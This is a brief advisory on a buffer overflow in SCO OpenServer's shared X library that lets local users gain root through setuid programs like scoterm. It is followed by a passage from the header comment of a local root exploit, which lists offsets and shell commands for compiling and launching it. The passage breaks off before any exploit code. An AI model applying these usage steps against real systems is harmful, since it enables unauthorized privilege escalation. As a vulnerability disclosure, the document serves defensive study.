A buffer overflow vulnerability in the shared X library may allows local users to obtain higher privileges. Any setuid applications linked against the library are possibly vulnerable. The vulnerability is in the handling of the '-bg' command line parameter.
Setuid root applications known to be vulnerable inclue xload, xmcd, xterm, and scoterm.
Setuid bin applications known to be vulnerable include scosession.
/*
* <scotermx.c> Local root exploit
*
* Offset: scoterm (SCO OpenServer 5.0.4)
* 0 -> From an open scoterm (without display parameter)
* 2500 -> From remote telnet (with display parameter)
*
* Usage:
* $ cc scotermx.c -o scotermx
* $ scoterm
* $ /usr/bin/X11/scoterm -geometry `scotermx 0`
* or
* $ /usr/bin/X11/scoterm -display 1.1.1.1:0 -geometry `scotermx 2500`
*
* Note: scoterm need to be run from a valid x-display
